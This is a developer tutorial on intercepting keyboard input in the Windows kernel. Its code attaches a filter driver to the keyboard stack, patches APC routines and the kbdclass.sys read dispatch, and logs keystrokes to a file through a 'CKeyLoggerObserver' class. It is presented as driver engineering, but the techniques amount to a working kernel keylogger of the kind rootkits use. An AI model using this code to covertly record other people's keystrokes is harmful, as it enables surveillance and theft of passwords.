Keystroke monitoring

Written by:
Vladimir Sabanov,
Junior Sodtware Developer of Apriorit Inc.

Table of Content

  • Introduction
  • Devices and drivers
  • Method 1 (the simplest): IRP and driver stack
    • Attaching the unknown keyboard device
    • I/O completion routine
    • Log information storage
    • APC routine patch and example of  active window detection
  • Method 2 (universal): kbdclass.sys driver patch
  • About WDM keyboard filter
  • Demo project class architecture
  • Supported MS Windows Versions
  • Recommended reading

1. Introduction

In this article we will consider the methods of hooking keyboard data in the kernel mode. The described approaches can be used for solving the tasks of keystroke analysis, blocking and also redefining some combinations.

2. Devices and drivers

Before starting to implement hooking it’s necessary to understand how the interaction between devices and drivers is performed.

Drivers frequently have multilevel architecture and represent stack based on the driver that works directly with the device. The task of the underlying driver is to read data from the device and transmit them upwards by the stack for the further processing.

The scheme beneath represents the relations between drivers and devices for PS/2 and USB keyboards, but this model is the same for any other device.

The task of the port driver (i8042prt and usbhid) is to get all data stored in the keyboard buffer and transmit them upwards by the chain of drivers. Data exchange between drives is performed by means of IRP, that are moving in the stack in both directions. After reaching the top of the stack data from IRP are copied to the user space in the context of csrss service, and then are transmitted to the active application as the window message. Thus placing our own driver in this chain we get possibility not only to hook keystrokes but also replace them by our own or block.

3. Method 1 (the simplest): IRP and driver stack

IRP is created in the moment when I/O Manager sends its request. The first to accept IRP is the highest driver in the stack, and correspondingly the last one to get it is the driver responsible for the interaction with the real device. By the moment of IRP creation the number of drivers in the stack is known. I/O Manager allocates some space in IRP for IO_STACK_LOCATION structure for each driver. Also the index and pointer of the current IO_STACK_LOCATION structure are stored in the IRP header.

As it was mentioned before the drivers form the chain with IRP as the data medium. Correspondingly the simplest way to hook data from the device driver (and keyboard driver in particular) is to attach own specially developed driver to the stack with the existing ones.

3.1. Attaching the unknown keyboard device

To attach the device to the existing chain we should create it first:

    PDEVICE_OBJECT pKeyboardDeviceObject = NULL;
    NTSTATUS lStatus = IoCreateDevice(pDriverObject,
                                      0,
                                      NULL,
                                      FILE_DEVICE_KEYBOARD,
                                      0,
                                      FALSE,
                                      &pKeyboardDeviceObject);

To attach the device to the stack it is recommended to use the call of IoAttachDeviceToDeviceStack. But first we should get the pointer of the device class:

UNICODE_STRING usClassName;

	RtlInitUnicodeString(&usClassName, L"\\Device\\KeyboardClass0");

	PDEVICE_OBJECT pClassDeviceObject = NULL;
	PFILE_OBJECT pClassFileObject = NULL;

//Get pointer for \\Device\\KeyboardClass0
	lStatus = IoGetDeviceObjectPointer(&usClassName, FILE_READ_DATA, &pClassFileObject, &pClassDeviceObject);

		if (!NT_SUCCESS(lStatus)){
			throw(std::runtime_error("[KBHookDriver]Cannot get device object of \\Device\\KeyboardClass0."));
		}

	g_pFilterManager = new CFilterManager();
	g_pSimpleHookObserver = new CKeyLoggerObserver(L"\\DosDevices\\c:\\KeyboardClass0.log");
	g_pFilterManager->RegisterFilter(pKeyboardDeviceObject, pClassDeviceObject, g_pSimpleHookObserver);
	g_pFilterManager->GetFilter(pKeyboardDeviceObject)->AttachFilter();

You should pay attention that we get the pointer to the device \Device\KeyboardClass0, that is PS/2 keyboard. It’s the only class, pointer to which can be obtained directly (how to hook the packages sent by USB keyboard will be described in the section 4).

And then:

void CKBFilterObject::AttachFilter(void){

	m_pNextDevice = IoAttachDeviceToDeviceStack(m_pKBFilterDevice, m_pNextDevice);

		if (m_pNextDevice == NULL){
			throw(std::runtime_error("[KBHookDriver]Cannot attach filter."));
		}

	m_bIsAttached = true;

	return;
}

Thus the current IRP handlers registered for our driver will get the packages containing the information about the keyboard controller events.

3.2 I/O completion routine

To read data from the keyboard controller (i8042prt or usbhid) the driver of the class (kbdclass) sends IRP_MJ_READ request to the port driver. Kbdclass is also the filter and is absolutely “transparent”. It’s naturally to assume that we should hook the needed IRP when scan codes are already written and the package is going upwards by the stack. For this purpose the functions of I/O completion exist (I/O completion routine). I/O completion routine is called after the current I/O request is completed (IoCompleteRequest).

The registration of I/O completion routine is performed as follows:

  void IOCompletionRoutine(IIRPProcessor *pContext, PIRP pIRP){

//Copy parameters to low level driver
	IoCopyCurrentIrpStackLocationToNext(pIRP);

//Set I/O completion routine
	IoSetCompletionRoutine(pIRP, OnReadCompletion, pContext, TRUE, TRUE, TRUE);

//Increment pending IRPs count
	pContext->AddPendingPacket(pIRP);

	return;
}  

And at the end it’s necessary to transmit IRP down by the stack:

	return(IofCallDriver(m_pNextDevice, pIRP));

3.3 Log information store

In the demo project all information about keystrokes is saved to the file, but for the better code flexibility the handler of keyboard events implements the interface of IKBExternalObserver and basically can perform any actions with the hooked data.

The function of the completion and processing of the hooked data:

static NTSTATUS OnReadCompletion(PDEVICE_OBJECT pDeviceObject, PIRP pIRP, PVOID pContext){
	IIRPProcessor *pIRPProcessor = (IIRPProcessor*)pContext;

//Checks completion status success
	if (pIRP->IoStatus.Status == STATUS_SUCCESS){
		PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIRP->AssociatedIrp.SystemBuffer;

//Get data count
		unsigned int iKeysCount = pIRP->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

		for (unsigned int iCounter = 0; iCounter < iKeysCount; ++iCounter){
			KEY_STATE_DATA keyData;

			keyData.pusScanCode = &keys[iCounter].MakeCode;

//If key have been pressed up, it's marked with flag KEY_BREAK
			if (keys[iCounter].Flags & KEY_BREAK){
				keyData.bPressed = false;
			}
			else{
				keyData.bPressed = true;
			}

			try{
//OnProcessEvent is a method of IKBExternalObserver.
				pIRPProcessor->GetDeviceObserver()->OnProcessEvent(keyData);
				keys[iCounter].Flags = keyData.bPressed ? KEY_MAKE : KEY_BREAK;
			}
			catch(std::exception& ex){
				DbgPrint("[KBHookLib]%s\n", ex.what());
			}
		}
	}

	if(pIRP->PendingReturned){
		IoMarkIrpPending(pIRP);
	}

	pIRPProcessor->RemovePendingPacket(pIRP);

	return(pIRP->IoStatus.Status);
}  

3.4 APC Routine patch

Besides the documented method of IRP completion using I/O completion routine, there exists also more flexible however undocumented way – APC routine patch.

When completing IRP, besides the call of the registered I/O completion routine, pIRP->Overlay.AsynchronousParameters.UserApcRoutine is called in the csrss context anisochronously. Correspondingly the replacing of this function is as follows:

void APCRoutinePatch(IIRPProcessor *pIRPProcessor, PIRP pIRP){
	CAPCContext *pContext =
		new CAPCContext(pIRP->Overlay.AsynchronousParameters.UserApcContext,
						pIRP->Overlay.AsynchronousParameters.UserApcRoutine,
						pIRP->UserBuffer,
						pIRPProcessor->GetDeviceObserver(),
						pIRP);

	pIRP->Overlay.AsynchronousParameters.UserApcRoutine = Patch_APCRoutine;
	pIRP->Overlay.AsynchronousParameters.UserApcContext = pContext;

	return;
}

The handler is almost the same to the I/O completion dispatch:

void NTAPI Patch_APCRoutine(PVOID pAPCContext, PIO_STATUS_BLOCK pIoStatusBlock, ULONG ulReserved){
	std::auto_ptr pContext((CAPCContext*)pAPCContext);
	PKEYBOARD_INPUT_DATA pKeyData = (PKEYBOARD_INPUT_DATA)pContext->GetUserBuffer();
	KEY_STATE_DATA keyData;

	keyData.pusScanCode = &pKeyData->MakeCode;

	if (pKeyData->Flags == KEY_MAKE){
		keyData.bPressed = true;
	}
	else{
		if (pKeyData->Flags == KEY_BREAK){
			keyData.bPressed = false;
		}
		else{
			pContext->GetOriginalAPCRoutine()(pContext->GetOriginalAPCContext(),
				pIoStatusBlock,
				ulReserved);

			return;
		}
	}

	try{
		pContext->GetObserver()->OnProcessEvent(keyData);
		pKeyData->Flags = keyData.bPressed ? KEY_MAKE : KEY_BREAK;
	}
	catch(std::exception& ex){
		DbgPrint("[KBHookLib]%s\n", ex.what());
	}

	pContext->GetOriginalAPCRoutine()(pContext->GetOriginalAPCContext(),
		pIoStatusBlock,
		ulReserved);

	return;
}

In APC routine there is a possibility to detect the current active window where the keystroke was performed.  It can be performed by calling NtUserGetForegroundWindow, that is located in SSDT Shadow. SSDT Shadow is not exported by the graphical subsystem (win32k.sys), but it can be called in the csrss context by means of SYSENTER. For Windows XP it will be like this:

__declspec(naked) HANDLE NTAPI NtUserGetForegroundWindow(void){
	__asm{
		mov eax, 0x1194; //NtUserGetForegroundWindows number in SSDT Shadow for Windows XP
		int 2eh; //Call SYSENTER gate
		retn;
	}
}
.........
		PEPROCESS pProcess = PsGetCurrentProcess();
		KAPC_STATE ApcState;

		KeStackAttachProcess(pProcess, &ApcState);

		HANDLE hForeground = NtUserGetForegroundWindow(); //returns HWND of current window

		KeUnstackDetachProcess(&ApcState);
.........

To make the process of getting the active window universal it’s necessary to implement the search for NtUserGetForegroundWindow function in SSDT Shadow or get its number from Ntdll.dll.

4. Method 2 (universal): kbdclass.sys driver patch

Direct utilizing of the previously described methods without any additional implementations is possible only for PS/2 keyboards since only pointer to \Device\KeyboardClass0 can be obtained directly. Unfortunately it’s impossible for USB keyboards. But after research of this question I came to the rather simple and natural solution: if the driver of the class kbdclass.sys gets all data from the port drivers (usbhid, i8042prt etc.), then we can hook its handlers IRP_MJ_READ.

It’s easy to do it:

void CKbdclassHook::Hook(void){
	UNICODE_STRING usKbdClassDriverName;

	RtlInitUnicodeString(&usKbdClassDriverName, m_wsClassDrvName.c_str());

//Get pointer to class driver object
	NTSTATUS lStatus = ObReferenceObjectByName(&usKbdClassDriverName,
											   OBJ_CASE_INSENSITIVE,
											   NULL,
											   0,
											   (POBJECT_TYPE)IoDriverObjectType,
											   KernelMode,
											   NULL,
											   (PVOID*)&m_pClassDriver);

		if (!NT_SUCCESS(lStatus)){
			throw(std::exception("[KBHookLib]Cannot get driver object by name."));
		}

	KIRQL oldIRQL;

	KeRaiseIrql(HIGH_LEVEL, &oldIRQL);

//IRP_MJ_READ patching
	m_pOriginalDispatchRead = m_pClassDriver->MajorFunction[IRP_MJ_READ];
	m_pClassDriver->MajorFunction[IRP_MJ_READ] = m_pHookCallback;

	m_bEnabled = true;

	KeLowerIrql(oldIRQL);

	return;
}  

Thus the handler IRP_MJ_READ for kbdclass.sys is our function, pointer to which is stored in m_pHookCallback.

Handler:

NTSTATUS CKbdclassHook::Call_DispatchRead(PDEVICE_OBJECT pDeviceObject, PIRP pIRP){
//KBDCLASS_DEVICE_EXTENSION is equal DEVICE_EXTENSION for kbdclass from DDK
	PKBDCLASS_DEVICE_EXTENSION pDevExt = (PKBDCLASS_DEVICE_EXTENSION)pDeviceObject->DeviceExtension;

		if (pIRP->IoStatus.Status == STATUS_SUCCESS){
			PKEYBOARD_INPUT_DATA key = (PKEYBOARD_INPUT_DATA)pIRP->UserBuffer;
			KEY_STATE_DATA keyData;

			keyData.pusScanCode = &key->MakeCode;

				if (key->Flags & KEY_BREAK){
					keyData.bPressed = false;
				}
				else{
					keyData.bPressed = true;
				}

			m_pObserver->OnProcessEvent(pDevExt->TopPort, keyData);
		}

//Original function calling for data translation to user space.
	return(m_pOriginalDispatchRead(pDeviceObject, pIRP));
}  

In the case when the information about the lowest driver in the stack is important, it can be get from the structure DEVICE_EXTENSION from the project kbdclass.sys in DDK.

5. About WDM keyboard filter

Demo project is the legacy driver. But all methods described in this article are applicable for the WDM drivers too. The only essential difference is that in WDM driver the hooking method described in section 3 will work for all connection interfaces (USB and PS/2). Naturally to do this the calling of device creation and attaching it to the stack should be placed in the AddDevice function of the driver.

6. Demo project Class architecture

Demo project is based on the KBHookLib library. It contains all described methods of the keystroke hooking and also necessary interfaces for the further integration.

Class diagram of KBHookLib:

7. Supported MS Windows Versions

  • MS Windows XP – SP1, SP2, SP3 – x86/x64
  • MS Windows 2003 Server – all versions  – x86/x64
  • MS Windows Vista – all version – x86

8. Recommended reading

  • Russinovich, Mark; Solomon, David – Microsoft Windows Internals
  • Oney, Walter – Programming The Microsoft Windows Driver Model
  • Hoglund, Greg – Rootkits, Subverting the Windows Kernel

More by Author

Get the Free Newsletter!

Subscribe to Developer Insider for top news, trends & analysis

Must Read